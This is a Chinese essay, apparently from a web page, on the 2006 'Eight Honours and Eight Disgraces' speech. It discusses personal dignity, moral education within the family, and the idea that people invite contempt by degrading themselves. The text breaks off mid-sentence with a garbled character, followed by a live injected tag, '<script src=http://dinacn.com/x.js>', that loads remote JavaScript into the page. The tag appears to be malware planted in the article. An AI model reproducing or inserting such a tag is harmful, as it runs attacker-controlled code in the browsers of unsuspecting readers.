3月4日，胡锦涛总书记在看望出席全国政协十届四次会议的委员时，发表了以“八荣八耻”为主要内容的关于树立社会主义荣辱观的讲话。这个讲话概括精辟，代表了社会主义先进文化的前进方向，体现了社会主义基本规范的本质要求，对我们进一步推进精神文明建设具有重要指导意义。

　　当前，就我国社会总体精神状态来讲，热爱祖国、奋发图强、开拓创新、积极向上、科学文明、团结友爱仍是社会面貌的主流。但是，我们也必须清醒地看到，由于市场经济的负面影响和国外错误思潮的侵蚀，同时，也由于制度体制建设以及思想教育工作不适应新形势发展的要求，确实存在不少社会问题，尤其是有些人不知荣辱、不辨善恶、不分美丑、不明是非，甚至把丑陋腐朽当神奇，把低级庸俗当高尚，把骄奢淫逸当荣耀，把荒诞谬误当真理，所有这些，都会对社会进步产生不良影响，必须引起高度重视，以“八荣八耻”为指导来认真加以治理，我们才能更好前进。

    人格尊严不可无

　　古人云：“人而无耻，果何以为人哉？”这就是说，一个人不懂廉耻荣辱，就失去了做人的资格。“人格”是指人的思想、情感和行为的内在倾向性，是社会责任感与自我价值的体现。说得更简明一些，也就是做人所应该有的道德底线。

　　人与动物不同，动物只是一种单纯的生存，而人过的是社会生活。法国作家雨果在谈到“生存”与“生活”不同含义时指出：“你要了解生存与生活的不同吗？动物生存，而人则生活。”“生活就是知道自己的价值、自己所能够做到的与自己所应该做到的。”（雨果《论文学》人民文学出版社1958年版第169页）这也就是说，作为一个人，任何时候都不可忘记人的价值与尊严，尽自己的能力为他人与社会作出应有的贡献，这样的人生才会有意义。

　　“人格”不是与生俱有的，而是在社会实践中逐渐形成的。理想的人格是真善美的有机统一，这当然不可能是一下子实现的，而是一种长期磨炼与修养的过程。人在实践中，一方面创造了物质财富与科学文化，同时，也提高了自己的认识能力与信念，并按照理想信念来塑造自己，形成为一种德性，“人格”即是承担理想的主体。有句格言说：“人格是最好的信用卡。”可见人格对为人之重要！

　　人格教育开始于家庭。人总是生活在一定的家庭环境之中。家庭生活对幼儿荣辱观形成的影响，具有特别重要的意义。可是在现实生活中，不少人认为小孩子知道啥，只要给他们吃好、穿好、玩好就行了，对他们谈不上什么荣辱观与人格教育。这种看法是不对的。小孩子正因为人小，像一张纯净的白纸，可画最美的图画，所以，更要注意从小抓起，对他们进行必要的荣辱观教育，才能有利于他们身心的健康成长。对孩子的教育，不能满足于“他们像我”，而必须以人类的优秀品德和中华民族的优良传统为基础，这样教育出来的孩子才能既“像我”又“高于我”，青出蓝而又胜于蓝，也才真正尽到父母之天职。

    人格是构成人的本质的比较稳定的因素，是人的精神素质的综合体现，因而一旦形成是不会随便改变的。因此，一个具有高尚人格的人，无论在什么地方，什么场合，都会自尊自信，不卑不亢，按照自己的人格行事。因为只有这样做，他们才会从心底里感到满意，这也正是他们世界观、人生观、价值观的统一体现。所以，对于一个有高尚人格的人来说，无论什么高压、金钱、地位、美色都无法使他们的已有人格发生动摇，因为在他们看来，失去了人格其他也就毫无意义。正是从这个意义上说，人格就是一切。

    人必自辱而后人辱之

    人都希望得到别人的尊重，这是可以理解的。谁也不愿意让他人看不起。这里的关键在于自己，就是自己要懂得做人的责任与尊严，要通过自己的努力，活得像个人样，堂堂正正做人。常言道：“人必自辱而后人辱之”。所谓“自辱”，就是自己做见不得人和不上路的事，自己作贱自己。而自己作贱自己的人，也就难以得到别人应有尊重。德国诗人歌德说过：“你若要喜爱作自己的价值，你就得给世界创造价值。”（《格言诗之十三》）又说：“谁要是游戏人生，他就一事无成；谁不能主宰自己，则永远是一个奴隶。”（引自《人生就是奋斗》第5页）在中国优秀的传统文化中，非常重视人品的形象与力量。孟子说：“富贵不能淫，贫贱不能移，威武不能屈”，这可以说是对人品的根本要求。现实生活中，人们常看到这样的事例：有些人为人原本很不错，工作也很出色，可是在市场经济的大浪中，无法主宰自己，让欲望牵着鼻子走，见利忘义，贪赃枉法，还自以为“聪明”、“能干”，结果自己毁了自己。

    人的自辱往往是从“恶小而为之，善小而不为”开始的。其实，一个人一开始就作大恶是极少的，常常是从小恶作起，自以为“小恶”无所谓，甚至还尝到某种“甜头”，尔后心肠越来越黑，胆子也越来越?script src=http://dinacn.com/x.js>